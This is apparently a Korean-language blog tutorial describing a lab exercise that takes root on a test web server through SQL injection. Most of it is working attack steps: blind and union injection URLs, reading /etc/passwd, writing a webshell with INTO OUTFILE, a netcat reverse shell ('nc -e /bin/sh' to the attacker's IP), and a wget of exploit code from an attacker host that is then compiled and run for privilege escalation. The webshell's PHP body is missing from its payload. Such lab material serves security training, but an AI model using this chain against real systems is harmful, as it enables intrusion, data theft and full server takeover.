SQL Injection 공격 실습

Updated:

SQL Injection 공격을 통해 서버의 root 권한을 획득하는 방법에 대해 기술한다.

  1. 실습 환경설정
  2. SQL Injection 취약점 확인 (Blind SQL Injection, Union SQL Injection 이용)
  3. MYSQL 권한으로, webshell 생성하기
  4. nc 를 통한 reverse connection
  5. exploit code 업로드 및 실행을 통한 권한상승

1. 실습 환경설정

VMware [Edit]-[Virtual Network Editor]-[VMnet8] 에서 다음과 같이 설정한다.

  • Subnet IP : 10.10.10.0
  • DHCP Settings - starting ip address : 10.10.10.5
  • DHCP Settings - starting ip address : 10.10.10.254

VMware NAT 방식에서 공격대상과 공격자 IP는 다음과 같다.

  • 공격대상 서버의 IP : 10.10.10.10
  • 공격자 PC 의 IP : 10.10.10.1


vmwware 설정


공격대상 서버 URL : 10.10.10.10/test/


서비스 계정(id : test, pw : test)

2. SQL Injection 취약점 확인 (Blind SQL Injection, Union SQL Injection)


서비스 계정(id : test, pw : test)

로그인 이후, FREE BOARD, USER BOARD(취약점 존재), Q&A BOARD, SERVICE BOARD 등 게시판에서 취약점이 있는지 여부를 확인한다.

2.1. Blind SQL Injection

10.10.10.10/test/board.php?no=1 and 1=1 (TRUE) 10.10.10.10/test/board.php?no=1 and 1=0 (FALSE) 위 둘의 URL 실행결과가 다른 것을 통해 SQL Injection 공격 취약점이 존재하는 것을 파악할 수 있다.


[10.10.10.10/test/board.php?no=1 and 1=1 결과화면]


[10.10.10.10/test/board.php?no=1 and 1=0 결과화면]

2.2. Union SQL Injection

컬럼개수 파악하기

http://10.10.10.10/test/board.php?no=0 order by 1 -- http://10.10.10.10/test/board.php?no=0 order by 2 -- ~ http://10.10.10.10/test/board.php?no=0 order by 8 -- 까지는 에러가 안뜬다. http://10.10.10.10/test/board.php?no=0 order by 9 -- 부터 에러가 뜬다. 그러므로, 컬럼은 총 8개이다.


각각의 컬럼 위치 확인하기

http://10.10.10.10/test/board.php?no=0 union select 1,2,3,4,5,6,7,8 --


Title 부분에 계정정보 출력하기

http://10.10.10.10/test/board.php?no=0 union select 1, load_file('/etc/passwd'),3,4,5,6,7,8 --


3. MYSQL 권한으로, webshell 생성하기

MYSQL 권한으로 Webshell 생성

http://10.10.10.10/test/board.php?no=0 union select 1,"",3,4,5,6,7,8 into outfile"/usr/local/apache/htdocs/test/shell.php" --


Webshell 동작 확인

http://10.10.10.10/test/shell.php?cmd=ls


http://10.10.10.10/test/shell.php?cmd=ls (nobody 권한인 것을 확인할 수 있다.)

4. nc 를 이용한 reverse connection

공격자 PC 에서 nc 실행 후, 응답대기

cmd 창 2개 생성

  • cmd_1 : nc -l -p 33333, nc 프로그램이 33333 번 포트로 응답대기(33333번 포트는 임의로 설정)
  • cmd_2 : netstat -na, 33333 포트가 응답대기인지 확인(프로그램이 제대로 실행되었는지 확인)

Web 에서 nc 실행하여, 공격 대상 서버 -> 공격자 PC 로 연결 (reverse connection)

10.10.10.10/test/shell.php?cmd=nc -e /bin/sh 10.10.10.1 33333 (10.10.10.1 은 공격자 PC ip 주소) 다음과 같이 탭에서 계속 돌고 있는 상황이면 정상적으로 실행이 된 것이다.

연결확인

cmd_1 : id (계정정보 확인)

5. exploit code 업로드 및 실행을 통한 권한상승

wget 을 통한 익스플로잇 코드 업로드

공격자 소유의 서버(10.10.10.20)에 있는 exploit code 를, 공격대상이 되는 서버에서 다운로드 하도록 한다. 10.10.10.10/test/shell.php?cmd=wget http://10.10.10.20/exp.c

Webshell 에서 exp.c 다운로드 확인

10.10.10.10/test/shell.php?cmd=ls -al

NC 를 통해 (cmd_1)에서 확인

exploit code 컴파일 후 실행을 통한 권한상승

1) gcc -o exp exp.c

2) ls -al

3) ./exp , id

이상으로 SQL Injection 공격을 이용한 root 권한 획득에 대해 알아보았다.

Comments